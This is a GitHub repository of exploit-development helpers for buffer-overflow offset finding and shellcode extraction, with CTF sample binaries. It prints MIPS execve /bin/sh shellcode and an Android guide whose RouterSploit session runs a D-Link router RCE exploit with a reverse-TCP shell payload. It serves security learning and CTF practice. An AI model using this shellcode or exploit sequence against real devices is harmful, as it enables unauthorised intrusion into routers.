├── Android_routersploit ├── com.termux-0.65-free-www.apksum.com.apk ├── openssl-dev_1.1.1-2_aarch64.deb.gz ├── openssl-dev_1.1.1-2_arm.deb.gz ├── openssl-tool_1.1.1-2_aarch64.deb.gz ├── openssl-tool_1.1.1-2_arm.deb.gz ├── openssl_1.1.1-2_aarch64.deb.gz ├── openssl_1.1.1-2_arm.deb.gz └── readme.md ├── README.md ├── example_bin ├── 2018_xnuca_gets_noleave ├── pwn200_PIE ├── pwn200_PIE_64bits └── xdctf15-pwn200 ├── getOverFlowOffset.py ├── img └── android_sploit.jpg ├── patternLocOffset.py └── shell_extractor.py /Android_routersploit/com.termux-0.65-free-www.apksum.com.apk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/desword/shellcode_tools/4446ec3b1c14ac31e6a3cda5c81568f25e57fd8f/Android_routersploit/com.termux-0.65-free-www.apksum.com.apk -------------------------------------------------------------------------------- /Android_routersploit/openssl-dev_1.1.1-2_aarch64.deb.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/desword/shellcode_tools/4446ec3b1c14ac31e6a3cda5c81568f25e57fd8f/Android_routersploit/openssl-dev_1.1.1-2_aarch64.deb.gz -------------------------------------------------------------------------------- /Android_routersploit/openssl-dev_1.1.1-2_arm.deb.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/desword/shellcode_tools/4446ec3b1c14ac31e6a3cda5c81568f25e57fd8f/Android_routersploit/openssl-dev_1.1.1-2_arm.deb.gz -------------------------------------------------------------------------------- /Android_routersploit/openssl-tool_1.1.1-2_aarch64.deb.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/desword/shellcode_tools/4446ec3b1c14ac31e6a3cda5c81568f25e57fd8f/Android_routersploit/openssl-tool_1.1.1-2_aarch64.deb.gz -------------------------------------------------------------------------------- /Android_routersploit/openssl-tool_1.1.1-2_arm.deb.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/desword/shellcode_tools/4446ec3b1c14ac31e6a3cda5c81568f25e57fd8f/Android_routersploit/openssl-tool_1.1.1-2_arm.deb.gz -------------------------------------------------------------------------------- /Android_routersploit/openssl_1.1.1-2_aarch64.deb.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/desword/shellcode_tools/4446ec3b1c14ac31e6a3cda5c81568f25e57fd8f/Android_routersploit/openssl_1.1.1-2_aarch64.deb.gz -------------------------------------------------------------------------------- /Android_routersploit/openssl_1.1.1-2_arm.deb.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/desword/shellcode_tools/4446ec3b1c14ac31e6a3cda5c81568f25e57fd8f/Android_routersploit/openssl_1.1.1-2_arm.deb.gz -------------------------------------------------------------------------------- /Android_routersploit/readme.md: -------------------------------------------------------------------------------- 1 | ### Setup RouterSploit on Android 2 | 3 | 4 | 5 | 6 | * RouterSploit 7 | * RouterSploit is a Exploitation Framework for Embedded Devices 8 | * https://github.com/threat9/routersploit 9 | 10 | * download termux 11 | * https://cn.apksum.com/down/com.termux_0.65_free 12 | * install python on termux 13 | * https://wiki.termux.com/wiki/Python 14 | * The default python of termux is python3, therefore it should work for routersploit. 15 | 16 | * Basic install command 17 | * git clone https://www.github.com/threat9/routersploit 18 | * cd routersploit 19 | * pip install -r requirements.txt 20 | * Errors when install routersploit on termux 21 | * errors of compiling cffi 22 | * [ref] https://github.com/termux/termux-packages/issues/1964 23 | * pkg install clang 24 | * if file "ffi.h" can not find,then 25 | * apt search ffi 26 | * apt install libffi libffi-dev 27 | * Then the cffi should be installed successfully. 28 | * errors of ,Issue installing cryptography (due to openssl built with no-engine) all about the openssl 29 | * [ref] https://github.com/termux/termux-packages/issues/2847 30 | * install the following old version of openssl, and it should work. 31 | * OpenSSL without no-engine config for AArch64: (in my test on HUAWEI MATE 8, the following packages should work) 32 | * [openssl_1.1.1-2_aarch64.deb.gz](https://github.com/desword/shellcode_tools/raw/master/Android_routersploit/openssl_1.1.1-2_aarch64.deb.gz) 33 | * [openssl-dev_1.1.1-2_aarch64.deb.gz](https://github.com/desword/shellcode_tools/raw/master/Android_routersploit/openssl-dev_1.1.1-2_aarch64.deb.gz) 34 | * [openssl-tool_1.1.1-2_aarch64.deb.gz](https://github.com/desword/shellcode_tools/raw/master/Android_routersploit/openssl-tool_1.1.1-2_aarch64.deb.gz) 35 | * OpenSSL without no-engine config for arm: 36 | * openssl_1.1.1-2_arm.deb.gz 37 | * openssl-dev_1.1.1-2_arm.deb.gz 38 | * openssl-tool_1.1.1-2_arm.deb.gz 39 | * download 40 | * using wget to download the above packages. 41 | * wget https://github.com/desword/shellcode_tools/raw/master/Android_routersploit/openssl_1.1.1-2_aarch64.deb.gz 42 | * wget https://github.com/desword/shellcode_tools/raw/master/Android_routersploit/openssl-dev_1.1.1-2_aarch64.deb.gz 43 | * wget https://github.com/desword/shellcode_tools/raw/master/Android_routersploit/openssl-tool_1.1.1-2_aarch64.deb.gz 44 | * [CMD] 45 | * gunzip openssl_1.1.1-2_arm.deb.gz 46 | * gunzip openssl-dev_1.1.1-2_arm.deb.gz 47 | * gunzip openssl-tool_1.1.1-2_arm.deb.gz 48 | * dpkg -i openssl_1.1.1-2_arm.deb 49 | * dpkg -i openssl-dev_1.1.1-2_arm.deb 50 | * dpkg -i openssl-tool_1.1.1-2_arm.deb 51 | * Quick keyboards 52 | * using tab (volum +, and t) 53 | * show all keyboards (volum +, and q) 54 | * cursor left/right (volum +, and a/d) 55 | * previous/latter commands (volum +, and w/s) 56 | * quick start for RouterSploit 57 | * python rsf.py 58 | * use scanner/autopwn 59 | * set target 192.168.1.1 60 | * rsf (AutoPwn) > use exploits/routers/dlink/dsl_2750b_rce 61 | * rsf (D-Link DSL-2750B RCE) > set target 192.168.1.1 62 | * [+] target => 192.168.1.1 63 | * rsf (D-Link DSL-2750B RCE) > check 64 | * [+] Target is vulnerable 65 | * rsf (D-Link DSL-2750B RCE) > run 66 | * cmd > show payloads 67 | * cmd > set payload reverse_tcp 68 | * cmd (MIPSBE Reverse TCP) > show options 69 | * cmd (MIPSBE Reverse TCP) > set lhost 192.168.1.10 70 | * cmd (MIPSBE Reverse TCP) > run 71 | 72 | 73 | 74 | 75 | 76 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # shellcode_tools 2 | A collection of useful tools for writing shellcode 3 | 4 | ### getOverFlowOffset.py V2.0 5 | 6 | 7 | * In previous, if you want to get the over flow offset to the EBP, you have to 8 | * 1. Find the vul function 9 | * 2. Set the breakpoints of the `return address` on IDA. 10 | * 3. Generating the pattern offset string file `passwd` using patternLocOffset.py 11 | * 4. Run the program with the input of file `passwd`. 12 | * 4.1 If the IDA runs on the host and the linux program runs on the guest, you have to copy `linux_server` to the guest and run it. 13 | * 4.2 Run the IDA on the host. 14 | * 4.3 Switch to the guest, copy the string of `passwd` into the waiting program `linux_server`. 15 | * 4.4 Switch back to the host, see the content of `EBP` 16 | * 5. Calculate the over flow offset using patternLocOffset.py again. 17 | 18 | * For now, you only need. 19 | * 1. Find the vul function and put the `return address` into getOverFlowOffset.py 20 | * 2. Boom! All set :). 21 | 22 | 23 | * Requirements 24 | * gdb 25 | * patternLocOffset.py 26 | * [pygdbmi](https://github.com/cs01/pygdbmi) 27 | * `pip install pygdbmi==0.9.0.2` 28 | 29 | * Change log 30 | * 2020-5-10 31 | * Fix pygdbmi version bug. 0.9.0.3 only support python3, but there are many bugs. So we fix it to 0.9.0.2. 32 | * 2019-11-2 33 | * Fix bugs of programs without `leave` instruction. (Fetch the offset ot the RET_address from $rsp/$esp directly). 34 | * 2019-10-24 35 | * Add support for dealing with programs that enable PIE. 36 | * Fix bugs of matching the output of $ebp. For both decimal and hex. 37 | 38 | * Usage 39 | ``` 40 | [+] Usage: python getOverFlowOffset.py [vul_ret_address] [vul_program] 41 | [+] Hints: you give me vul_ret_address, I give you the offset :) 42 | [*] Example: python getOverFlowOffset.py 0x080484BD example_bin/xdctf15-pwn200 43 | ``` 44 | * We now support tracking the program enabling PIE. The example in example_bin/pwn200_PIE 45 | 46 | ``` 47 | $ python getOverFlowOffset.py 0x00000632 example_bin/pwn200_PIE 48 | [*] example_bin/pwn200_PIE is 32 bits 49 | [*] PIE is enabled 50 | [*] Found a leak function: write 51 | [*] Found the leaked address 0x565556c2, we can leave 52 | [*] The real vul_ret_address is:0x56555632 53 | [+] Found offset to the RET_ADDR is 112 (32bits) or 116 (64bits). 54 | ``` 55 | * For the program without PIE. The example in example_bin/2018_xnuca_gets_noleave. Also, it has no `leave` instruction before `ret`. 56 | ``` 57 | $ python getOverFlowOffset.py 0x400434 example_bin/2018_xnuca_gets_noleave 58 | [*] example_bin/2018_xnuca_gets_noleave is 64 bits 59 | [*] no PIE 60 | [+] Found offset to the RET_ADDR is 24 (32bits) or 28 (64bits). 61 | ``` 62 | 63 | * Other examples 64 | * 32-bit program, without PIE, with `leave` instruction. 65 | * `python getOverFlowOffset.py 0x080484BD example_bin/xdctf15-pwn200` 66 | * 32-bit program, with PIE, with `leave` instruction. 67 | * `python getOverFlowOffset.py 0x00000632 example_bin/pwn200_PIE` 68 | * 64-bit program, with PIE, with `leave` instruction. 69 | * `python getOverFlowOffset.py 0x00000632 example_bin/pwn200_PIE_64bits` 70 | * 32-bit program, without PIE, without `leave` instruction. 71 | * `python getOverFlowOffset.py 0x400434 example_bin/2018_xnuca_gets_noleave ` 72 | 73 | ### Android_routersploit 74 | 75 | Setup the RouterSploit on Android based on termux. [Procedure](https://github.com/desword/shellcode_tools/tree/master/Android_routersploit) 76 | 77 | 78 | 79 | ### patternLocOffset.py 80 | 81 | 82 | For generating a string to calculate the offset of RA. 83 | From the book <揭秘家用路由器0day漏洞挖掘技术> 84 | 85 | ### shell_extractor.py 86 | 87 | In traditional, we need to find the corresponding shellcode using IDA pro. For example, 88 | 89 | ![](https://p4.ssl.qhimg.com/t01d815b0c57399c2de.png) 90 | 91 | Then we copy the binary and reconstruct them into the following formats: 92 | 93 | ![](https://p3.ssl.qhimg.com/t0188a9ffa755bb99ab.png) 94 | 95 | We can find that there are lots of work for the above purpose. Therefore, I have developed a simple tool to extract the shellcode in binary form automatically from the ELF. 96 | With the following simple instructions, we can extract the shellcode in binary form conveniently for C testing or python testing. 97 | 98 | 99 | ```python 100 | $ python shell_extractor.py execve c 101 | char shellcode[] = { 102 | "\x24\x06\x06\x66" 103 | "\x04\xd0\xff\xff" 104 | "\x28\x06\xff\xff" 105 | "\x27\xbd\xff\xe0" 106 | "\x27\xe4\x10\x01" 107 | "\x24\x84\xf0\x1f" 108 | "\xaf\xa4\xff\xe8" 109 | "\xaf\xa0\xff\xec" 110 | "\x27\xa5\xff\xe8" 111 | "\x24\x02\x0f\xab" 112 | "\x00\x00\x00\x0c" 113 | "\x2f\x62\x69\x6e" 114 | "\x2f\x73\x68\x00" 115 | }; 116 | ``` 117 | 118 | The general usage is: 119 | 120 | ```bash 121 | [+] usage: python shell_extractor.py [filename] [format] 122 | [*] where format can be c or py 123 | ``` 124 | 125 | The core component is to use the command "readelf –S execve" to obtain the offset and size of the section .text. Then the format is generated accordingly. 126 | 127 | ![](https://p2.ssl.qhimg.com/t016872b10fb2dc2771.png) 128 | 129 | For example, 0xd0 is the offset of the shellcode, while 0x30 is the size of the shellcode. 130 | 131 | 132 | The original article can be found at: [路由器漏洞复现终极奥义——基于MIPS的shellcode编写](https://www.anquanke.com/post/id/153725) 133 | -------------------------------------------------------------------------------- /example_bin/2018_xnuca_gets_noleave: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/desword/shellcode_tools/4446ec3b1c14ac31e6a3cda5c81568f25e57fd8f/example_bin/2018_xnuca_gets_noleave -------------------------------------------------------------------------------- /example_bin/pwn200_PIE: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/desword/shellcode_tools/4446ec3b1c14ac31e6a3cda5c81568f25e57fd8f/example_bin/pwn200_PIE -------------------------------------------------------------------------------- /example_bin/pwn200_PIE_64bits: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/desword/shellcode_tools/4446ec3b1c14ac31e6a3cda5c81568f25e57fd8f/example_bin/pwn200_PIE_64bits -------------------------------------------------------------------------------- /example_bin/xdctf15-pwn200: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/desword/shellcode_tools/4446ec3b1c14ac31e6a3cda5c81568f25e57fd8f/example_bin/xdctf15-pwn200 -------------------------------------------------------------------------------- /getOverFlowOffset.py: -------------------------------------------------------------------------------- 1 | 2 | import commands 3 | import os 4 | import sys 5 | import subprocess 6 | import re 7 | 8 | from pygdbmi.gdbcontroller import GdbController 9 | 10 | # The rough steps. 11 | # 1. get the return address. We need to provide the retun address. in the vuladdress. 12 | # 2. using gdb to set breakpoints at the return address. 13 | # 3. generate the patternoffset files, and read the files to print into the program. 14 | # 4. run the program using gdb until the breakpoints. 15 | # 5. print the EBP value and calculate the offset using pattern offset. 16 | 17 | def usage(): 18 | print "[+] Usage: python getOverFlowOffset.py [vul_ret_address] [vul_program]" 19 | print "[+] Hints: you give me vul_ret_address, I give you the offset :)" 20 | print "[*] Example: python getOverFlowOffset.py 0x080484BD example_bin/xdctf15-pwn200" 21 | 22 | 23 | def print_log(response): 24 | for each in response: 25 | try: 26 | print "[%s]\t%s\t%s" % (each['type'], each['message'], each['payload']) 27 | # return [each['type'], each['message'], each['payload']] 28 | except: 29 | pass 30 | 31 | 32 | def parse_response(response, type): 33 | parse_results = [] 34 | for each in response: 35 | try: 36 | if each['type'] in type: 37 | parse_results.append(each['payload']) 38 | except: 39 | pass 40 | return parse_results 41 | 42 | 43 | def parse_response_list(response, typeList): 44 | parse_results = [] 45 | for each in response: 46 | try: 47 | if each['type'] in typeList: 48 | parse_results.append( (each['type'], each['payload'])) 49 | except: 50 | pass 51 | return parse_results 52 | 53 | 54 | 55 | def find_real_vulret_address(): 56 | global ret_address 57 | 58 | # search the usable functions. 59 | op = commands.getstatusoutput("strings %s" % (target_program)) 60 | # print op 61 | leakAddrFunc = "" # used for lead the real address. 62 | tmp1 = op[1].split('\n') 63 | # print tmp1 64 | for eachStr in tmp1: 65 | if eachStr in funcListOut: 66 | leakAddrFunc = eachStr 67 | break; 68 | if leakAddrFunc == "":# perform func search using in-like. 69 | for eachStr in tmp1: 70 | if eachStr in funcListIn: 71 | leakAddrFunc = eachStr 72 | break; 73 | if leakAddrFunc == "": 74 | print "[-] No leak functions can be used. Can not leak the real address." 75 | exit(1) 76 | print "[*] Found a leak function: %s" % leakAddrFunc 77 | 78 | 79 | gdbmi = GdbController() 80 | response = gdbmi.write('-file-exec-file %s' % (target_program)) 81 | response = gdbmi.write('file %s' % (target_program)) 82 | 83 | response = gdbmi.write('break %s' % (leakAddrFunc)) 84 | # print_log(response) 85 | 86 | response = gdbmi.write('run') 87 | # print_log(response) 88 | 89 | response = gdbmi.write('finish') 90 | # print_log(response) 91 | 92 | i=0; 93 | maxi = 10; 94 | badStr = ["<", "?"] 95 | realAddress = "" 96 | while True: 97 | if programBits == 32: 98 | response = gdbmi.write('print $eip') 99 | response = gdbmi.write('print $eip') 100 | elif programBits == 64: 101 | response = gdbmi.write('print $rip') 102 | response = gdbmi.write('print $rip') 103 | # print_log(response) 104 | 105 | typeList =["console"] 106 | results = parse_response_list(response, typeList) 107 | # print results 108 | 109 | 110 | 111 | traget_str = results[0][1] 112 | isOkToLeave = 1 113 | for eachBad in badStr: 114 | if traget_str.find(eachBad) != -1: 115 | isOkToLeave = 0 116 | break; 117 | if isOkToLeave == 1: # now we found the real address and can leave. 118 | # print "[*] Found the real address, we can leave" 119 | ### extract the address from the result. 120 | m = re.search(r"0x([a-f0-9]+)", results[0][1]) 121 | if m: 122 | # print "[*] address 0x%s" % (m.group(1)) 123 | realAddress = m.group(1) 124 | print "[*] Found the leaked address 0x%s, we can leave" % (realAddress) 125 | 126 | break; 127 | 128 | ### not ok example. 129 | # '$2 = (void (*)()) 0x7ffff7ddac42 ' 130 | ### ok example, 131 | # $2 = (void (*)()) 0x555555554739 132 | 133 | response = gdbmi.write('finish') 134 | 135 | 136 | ### now we can compus the real vul_ret_address. 137 | ret_address = "0x" + realAddress[:-3] + ret_address[-3:] 138 | print "[*] The real vul_ret_address is:%s" % (ret_address) 139 | 140 | ### list of functions for combating with program enabling PIE. 141 | funcListIn = ['read', 'gets', 'scanf'] 142 | funcListOut = ['puts', 'write', 'printf'] 143 | 144 | 145 | 146 | 147 | try: 148 | ret_address = sys.argv[1] 149 | target_program = sys.argv[2] 150 | except: 151 | usage() 152 | exit(1) 153 | 154 | 155 | # ret_address = "0x080484BD" 156 | # target_program = "example_bin/xdctf15-pwn200" 157 | # ret_address = "0x00632" 158 | # target_program = "example_bin/pwn200_PIE" 159 | # target_program = "example_bin/pwn200_PIE_64bits" 160 | 161 | 162 | pattern_len = 700 163 | pattern_file_name = "passwd" 164 | 165 | programBits = 0 166 | enablePIE = 0 167 | 168 | 169 | ### check program is 32bits or 64 bits. 170 | op = commands.getstatusoutput("file %s" % (target_program)) 171 | # print op 172 | tmp1 = op[1].split(':')[1] 173 | tmp2 = tmp1.split(' ')[2] 174 | tmp3 = tmp2.split('-')[0] 175 | print "[*] %s is %s bits" % (target_program, tmp3) 176 | programBits = int(tmp3) 177 | 178 | 179 | ### [old way]check whether enable PIE. We now only check the ret_address to infer whether enabling PIE. 180 | # smallInt_check = 0xfff 181 | # addre_to_int = int(ret_address, 16) 182 | # if addre_to_int < smallInt_check: 183 | # enablePIE=1 184 | # print "[*] PIE is enabled" 185 | # else: 186 | # enablePIE=0 187 | # print "[*] no PIE" 188 | 189 | ### check whether enable PIE. classic way. PIE program is .so, while non-PIE is executable. 190 | op = commands.getstatusoutput("readelf -h %s | grep Type" % (target_program)) 191 | # print op 192 | if op[1].find("Shared object file") != -1: 193 | print "[*] PIE is enabled" 194 | enablePIE = 1 195 | elif op[1].find("Executable file") != -1: 196 | print "[*] no PIE" 197 | enablePIE = 0 198 | 199 | 200 | ### if PIE is enabled, we first infer the real vul_ret_address. 201 | if enablePIE == 1: 202 | find_real_vulret_address() 203 | 204 | 205 | op = commands.getstatusoutput("python patternLocOffset.py -l %d -f %s -c" % (pattern_len, pattern_file_name)) 206 | 207 | # Start gdb process 208 | gdbmi = GdbController() 209 | # print(gdbmi.get_subprocess_cmd()) # print actual command run as subprocess 210 | 211 | response = gdbmi.write('-file-exec-file %s' % (target_program)) 212 | # print_log(response) 213 | 214 | response = gdbmi.write('break *%s' % (ret_address)) 215 | # print_log(response) 216 | 217 | response = gdbmi.write('run < %s' % (pattern_file_name)) 218 | # print_log(response) 219 | 220 | 221 | ### previously print ebp, to infer ret_address. However, without leave; ret. It will produce error. 222 | # if programBits == 32: 223 | # response = gdbmi.write('print $ebp') 224 | # elif programBits == 64: 225 | # response = gdbmi.write('print $rbp') 226 | # print_log(response) 227 | 228 | # over_write_str = "" 229 | # for eachResp in response: 230 | # try: 231 | # eachResp['payload'].index("$1") 232 | # over_write_str = eachResp['payload'].split(" ")[-1] 233 | # except: 234 | # pass 235 | 236 | # # transform the offset into hex. 237 | # if over_write_str.find('0x') == -1: 238 | # over_write_str = hex(int(over_write_str)) 239 | 240 | #### change to directly print the offset to retaddress. 241 | if programBits == 32: 242 | response = gdbmi.write('x/2 $esp') 243 | elif programBits == 64: 244 | response = gdbmi.write('x/2 $rsp') 245 | # print_log(response) 246 | rsp_list = parse_response(response, 'console') 247 | over_write_str = "" 248 | for eachRsp in rsp_list: 249 | if eachRsp.find("0x7ff") != -1 or eachRsp.find("0xff") != -1: 250 | tmpstr = eachRsp.split('\\t')[-1] 251 | try: 252 | tmpInt = int(tmpstr) 253 | except: 254 | tmpInt = int(tmpstr[:-2]) 255 | over_write_str = hex(tmpInt) 256 | break; 257 | 258 | 259 | 260 | # finally, to find the offset to the ret_address. 261 | op = commands.getstatusoutput("python patternLocOffset.py -l %d -s %s" % (pattern_len, over_write_str)) 262 | op_str = op[1] 263 | # print_log(op) 264 | 265 | op = commands.getstatusoutput("rm %s" % (pattern_file_name)) 266 | 267 | 268 | offset_find = -1 269 | m = re.search(r'offset \d+', op_str) 270 | if m is not None: 271 | offset_find = int(m.group().split(" ")[-1]) 272 | else: 273 | print "[-] No matches. Check the return address." 274 | exit(1) 275 | 276 | # print "[+] Found offset to the EBP is %d." % (offset_find) 277 | # print "[+] THe offset to the RET_ADDR is %d (32bits) or %d (64bits)." % (offset_find + 4, offset_find + 8) 278 | 279 | 280 | print "[+] Found offset to the RET_ADDR is %d (32bits) or %d (64bits)." % (offset_find, offset_find+4) 281 | -------------------------------------------------------------------------------- /img/android_sploit.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/desword/shellcode_tools/4446ec3b1c14ac31e6a3cda5c81568f25e57fd8f/img/android_sploit.jpg -------------------------------------------------------------------------------- /patternLocOffset.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | ##################################################################################### 3 | ## Create pattern strings & location offset 4 | ## Tested against Ubuntu 12.04 & Windows # # 5 | ## 6 | ## Example: 7 | ## C:\Users\Lenov\Desktop> patterLocOffset.py -c -l 260 -f output.txt 8 | ### [*] Create pattern string contains 260 characters ok! 9 | ### [+] output to output.txt ok! 10 | ## 11 | ## C:\Users\Lenov\Desktop> patternLocOffset.py -s 0x41613141 -l 260 12 | ### [*] Create pattern string contains 260 characters ok! 13 | ### [*] Exact match at offset 3 14 | # 15 | ## Nimdakey # 09-10-2013 16 | ##################################################################################### 17 | 18 | import argparse 19 | import struct 20 | import binascii 21 | import string 22 | import time 23 | import sys 24 | import re 25 | 26 | a = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" 27 | b = "abcdefghijklmnopqrstuvwxyz" 28 | c = "0123456789" 29 | 30 | def generate(count,output): 31 | # 32 | # pattern create 33 | codeStr = '' 34 | print '[*] Create pattern string contains %d characters'%count, 35 | timeStart = time.time() 36 | for i in range(0,count): 37 | codeStr += a[i/(26*10)]+b[(i%(26*10))/10]+c[i%(26*10)%10] 38 | print 'ok!' 39 | if output: 40 | print '[+] output to %s'%output, 41 | fw = open(output,'w') 42 | fw.write(codeStr) 43 | fw.close() 44 | print 'ok!' 45 | else: 46 | return codeStr 47 | print "[+] take time: %.4f s"%(time.time()-timeStart) 48 | 49 | def patternMatch(searchCode, length=1024): 50 | # 51 | # pattern search 52 | offset = 0 53 | pattern = None 54 | 55 | timeStart = time.time() 56 | is0xHex = re.match('^0x[0-9a-fA-F]{8}',searchCode) 57 | isHex = re.match('^[0-9a-fA-F]{8}',searchCode) 58 | 59 | if is0xHex: 60 | #0x41613141 61 | pattern = binascii.a2b_hex(searchCode[2:]) 62 | elif isHex: 63 | #41613141 64 | pattern = binascii.a2b_hex(searchCode) 65 | else: 66 | print '[-] seach Pattern eg:0x41613141' 67 | sys.exit(1) 68 | 69 | source = generate(length,None) 70 | offset = source.find(pattern) 71 | 72 | if offset != -1: 73 | print "[*] Exact match at offset %d"%offset 74 | else: 75 | print "[*] No exact matches, looking for likely candidates..." 76 | reverse = list(pattern) 77 | reverse.reverse() 78 | pattern = "".join(reverse) 79 | offset = source.find(pattern) 80 | if offset != -1: 81 | print "[+] Possible match at offset %d (adjusted another-endian)"%offset 82 | print "[+] take time: %.4f s"%(time.time()-timeStart) 83 | 84 | def main(): 85 | ## parse argument 86 | parser = argparse.ArgumentParser() 87 | parser.add_argument('-s', '--search', help='search for pattern') 88 | parser.add_argument('-c', '--create', help='create a pattern',\ 89 | action='store_true') 90 | parser.add_argument('-f', '--file', help='output file name',\ 91 | default='patternShell.txt') 92 | parser.add_argument('-l', '--length',help='length of pattern code',\ 93 | type=int,default=1024) 94 | #parser.add_argument('-v', dest='verbose', action='store_true') 95 | args = parser.parse_args() 96 | 97 | ## save all argument 98 | length = args.length 99 | output = args.file 100 | #verbose = args.verbose 101 | createCode = args.create 102 | searchCode = args.search 103 | 104 | if createCode and (0 < args.length <= 26*26*10): 105 | #eg: -c -l 90 106 | generate(length,output) 107 | elif searchCode and (0 < args.length <= 26*26*10): 108 | #eg: -s 0x474230141 109 | patternMatch(searchCode,length) 110 | else: 111 | print '[-] You shoud chices from [-c -s]' 112 | print '[-] Pattern length must be less than 6760' 113 | print 'more help: pattern.py -h' 114 | # ... 115 | 116 | if __name__ == "__main__": 117 | main() 118 | -------------------------------------------------------------------------------- /shell_extractor.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | ##################################################################################### 3 | ## extract shellcode binarys for c or python 4 | ## Tested against Ubuntu 12.04 & Windows # # 5 | ## 6 | ## Example: 7 | # $ python shell_extractor.py execve c 8 | # char shellcode[] = { 9 | # "\x24\x06\x06\x66" 10 | # "\x04\xd0\xff\xff" 11 | # "\x28\x06\xff\xff" 12 | # "\x27\xbd\xff\xe0" 13 | # "\x27\xe4\x10\x01" 14 | # "\x24\x84\xf0\x1f" 15 | # "\xaf\xa4\xff\xe8" 16 | # "\xaf\xa0\xff\xec" 17 | # "\x27\xa5\xff\xe8" 18 | # "\x24\x02\x0f\xab" 19 | # "\x00\x00\x00\x0c" 20 | # "\x2f\x62\x69\x6e" 21 | # "\x2f\x73\x68\x00" 22 | # }; 23 | ## desword # 2018-8-2 24 | ##################################################################################### 25 | 26 | 27 | 28 | import os 29 | import sys 30 | 31 | def ExtractOffset(line): 32 | sp = line.split(' ') 33 | while '' in sp: 34 | sp.remove('') 35 | # print sp 36 | 37 | try: 38 | section = sp[2] 39 | except: 40 | section = -1 41 | try: 42 | offset = int(sp[5], 16) 43 | except: 44 | offset = -1 45 | try: 46 | size = int(sp[6], 16) 47 | except: 48 | size = -1 49 | return [section, offset, size] 50 | 51 | def usage(): 52 | print "[+] Usage: python shell_extractor.py [filename] [format]" 53 | print "[*] Where format can be c or py" 54 | 55 | 56 | 57 | try: 58 | fileName = sys.argv[1] 59 | printformat = sys.argv[2] 60 | except: 61 | usage() 62 | exit(1) 63 | 64 | 65 | extractionCmd = "readelf -S " + fileName 66 | 67 | 68 | result = os.popen(extractionCmd) 69 | res = result.read() 70 | lines = res.splitlines() 71 | 72 | section = 0; offset = 0; size = 0; 73 | 74 | for line in lines: 75 | [section, offset, size] = ExtractOffset(line) 76 | if section == ".text": 77 | # print line 78 | # print "find, offset", offset, "size", size 79 | break; 80 | 81 | 82 | 83 | f = open(fileName,"rb") 84 | outfile = [] 85 | i = 0 86 | while 1: 87 | c = f.read(1) 88 | i = i + 1 89 | if not c: 90 | break 91 | if ord(c) <= 15: 92 | outfile.append("0x0"+hex(ord(c))[2:]) 93 | else: 94 | outfile.append(hex(ord(c))) 95 | 96 | f.close() 97 | 98 | 99 | ### extract shell code 100 | 101 | extracted = outfile[offset:offset+size] 102 | 103 | 104 | 105 | ### print for shellcode book. 106 | 107 | if printformat == "py": 108 | shellOutput = ["shellcode = \"\""] 109 | shellHeader = "shellcode +=" 110 | for i in range(0, len(extracted), 4): 111 | shelltmp = "" 112 | for eachByte in extracted[i:i+4]: 113 | shelltmp += ("\\x" + eachByte[2:]) 114 | shellOutput.append("%s \"%s\"" % (shellHeader, shelltmp)) 115 | 116 | shellOutputStr = "\n".join(shellOutput) 117 | print shellOutputStr 118 | elif printformat == "c": 119 | 120 | ### print for c source code test 121 | 122 | shellOutput = ["char shellcode[] = {"] 123 | for i in range(0, len(extracted), 4): 124 | shelltmp = "" 125 | for eachByte in extracted[i:i+4]: 126 | shelltmp += ("\\x" + eachByte[2:]) 127 | shellOutput.append("\"%s\"" % (shelltmp)) 128 | shellOutput.append("};") 129 | 130 | shellOutputStr = "\n".join(shellOutput) 131 | print shellOutputStr 132 | 133 | 134 | 135 | --------------------------------------------------------------------------------